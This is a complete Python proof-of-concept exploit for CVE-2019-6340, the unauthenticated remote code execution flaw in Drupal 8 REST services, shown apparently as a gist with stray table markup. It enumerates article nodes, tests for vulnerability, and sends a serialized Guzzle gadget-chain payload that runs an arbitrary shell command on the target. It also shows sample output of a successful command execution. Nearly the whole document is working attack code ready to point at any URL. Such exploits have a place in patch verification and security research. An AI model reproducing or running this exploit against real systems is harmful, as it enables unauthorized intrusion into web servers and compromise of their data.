CVE-2019-6340
#!/usr/bin/env python3 | |
# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC | |
# 2019 @leonjza | |
# Technical details for this exploit is available at: | |
# https://www.drupal.org/sa-core-2019-003 | |
# https://www.ambionics.io/blog/drupal8-rce | |
# https://twitter.com/jcran/status/1099206271901798400 | |
# Sample usage: | |
# | |
# $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf" | |
# CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC | |
# by @leonjza | |
# | |
# References: | |
# https://www.drupal.org/sa-core-2019-003 | |
# https://www.ambionics.io/blog/drupal8-rce | |
# | |
# [warning] Caching heavily affects reliability of this exploit. | |
# Nodes are used as they are discovered, but once they are done, | |
# you will have to wait for cache expiry. | |
# | |
# Targetting http://127.0.0.1/... | |
# [+] Finding a usable node id... | |
# [x] Node enum found a cached article at: 2, skipping | |
# [x] Node enum found a cached article at: 3, skipping | |
# [+] Using node_id 4 | |
# [+] Target appears to be vulnerable! | |
# | |
# USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND | |
# root 49 0.0 0.0 4288 716 pts/0 Ss+ 16:38 0:00 sh | |
# root 1 0.0 1.4 390040 30540 ? Ss 15:20 0:00 apache2 -DFOREGROUND | |
# www-data 24 0.1 2.8 395652 57912 ? S 15:20 0:08 apache2 -DFOREGROUND | |
# www-data 27 0.1 2.9 396152 61108 ? S 15:20 0:08 apache2 -DFOREGROUND | |
# www-data 31 0.0 3.4 406304 70408 ? S 15:22 0:04 apache2 -DFOREGROUND | |
# www-data 39 0.0 2.7 398472 56852 ? S 16:14 0:02 apache2 -DFOREGROUND | |
# www-data 44 0.2 3.2 402208 66080 ? S 16:37 0:05 apache2 -DFOREGROUND | |
# www-data 56 0.0 2.6 397988 55060 ? S 16:38 0:01 apache2 -DFOREGROUND | |
# www-data 65 0.0 2.3 394252 48460 ? S 16:40 0:01 apache2 -DFOREGROUND | |
# www-data 78 0.0 2.5 400996 51320 ? S 16:47 0:01 apache2 -DFOREGROUND | |
# www-data 117 0.0 0.0 4288 712 ? S 17:20 0:00 \_ sh -c echo | |
import sys | |
from urllib.parse import urlparse, urljoin | |
import requests | |
def build_url(*args) -> str: | |
""" | |
Builds a URL | |
""" | |
f = '' | |
for x in args: | |
f = urljoin(f, x) | |
return f | |
def uri_valid(x: str) -> bool: | |
""" | |
https://stackoverflow.com/a/38020041 | |
""" | |
result = urlparse(x) | |
return all([result.scheme, result.netloc, result.path]) | |
def check_drupal_cache(r: requests.Response) -> bool: | |
""" | |
Check if a response had the cache header. | |
""" | |
if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT': | |
return True | |
return False | |
def find_article(base: str, f: int = 1, l: int = 100): | |
""" | |
Find a target article that does not 404 and is not cached | |
""" | |
while f < l: | |
u = build_url(base, '/node/', str(f)) | |
r = requests.get(u) | |
if check_drupal_cache(r): | |
print(f'[x] Node enum found a cached article at: {f}, skipping') | |
f += 1 | |
continue | |
# found an article? | |
if r.status_code == 200: | |
return f | |
f += 1 | |
def check(base: str, node_id: int) -> bool: | |
""" | |
Check if the target is vulnerable. | |
""" | |
payload = { | |
"_links": { | |
"type": { | |
"href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}" | |
} | |
}, | |
"type": { | |
"target_id": "article" | |
}, | |
"title": { | |
"value": "My Article" | |
}, | |
"body": { | |
"value": "" | |
} | |
} | |
u = build_url(base, '/node/', str(node_id)) | |
r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) | |
if check_drupal_cache(r): | |
print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring') | |
return False | |
if 'INVALID_VALUE does not correspond to an entity on this site' in r.text: | |
return True | |
return False | |
def exploit(base: str, node_id: int, cmd: str): | |
""" | |
Exploit using the Guzzle Gadgets | |
""" | |
# pad a easy search replace output: | |
cmd = 'echo ---- & ' + cmd | |
payload = { | |
"link": [ | |
{ | |
"value": "link", | |
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" | |
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" | |
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" | |
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" | |
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" | |
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" | |
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" | |
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" | |
"".replace('|size|', str(len(cmd))).replace('|command|', cmd) | |
} | |
], | |
"_links": { | |
"type": { | |
"href": f"{urljoin(base, '/rest/type/shortcut/default')}" | |
} | |
} | |
} | |
u = build_url(base, '/node/', str(node_id)) | |
r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) | |
if check_drupal_cache(r): | |
print(f'Exploiting {node_id} returned cache HIT, may have failed') | |
if '----' not in r.text: | |
print('[warn] Command execution _may_ have failed') | |
print(r.text.split('----')[1]) | |
def main(base: str, cmd: str): | |
""" | |
Execute an OS command! | |
""" | |
print('[+] Finding a usable node id...') | |
article = find_article(base) | |
if not article: | |
print('[!] Unable to find a node ID to reference. Check manually?') | |
return | |
print(f'[+] Using node_id {article}') | |
vuln = check(base, article) | |
if not vuln: | |
print('[!] Target does not appear to be vulnerable.') | |
print('[!] It may also simply be a caching issue, so maybe just try again later.') | |
return | |
print(f'[+] Target appears to be vulnerable!') | |
exploit(base, article, cmd) | |
if __name__ == '__main__': | |
print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC') | |
print(' by @leonjza\n') | |
print('References:\n' | |
' https://www.drupal.org/sa-core-2019-003\n' | |
' https://www.ambionics.io/blog/drupal8-rce\n') | |
print('[warning] Caching heavily affects reliability of this exploit.\n' | |
'Nodes are used as they are discovered, but once they are done,\n' | |
'you will have to wait for cache expiry.\n') | |
if len(sys.argv) <= 2: | |
print(f'Usage: {sys.argv[0]} <target base URL> <command>') | |
print(f' Example: {sys.argv[0]} http://127.0.0.1/ id') | |
target = sys.argv[1] | |
command = sys.argv[2] | |
if not uri_valid(target): | |
print(f'Target {target} is not a valid URL') | |
sys.exit(1) | |
print(f'Targetting {target}...') | |
main(target, command) |
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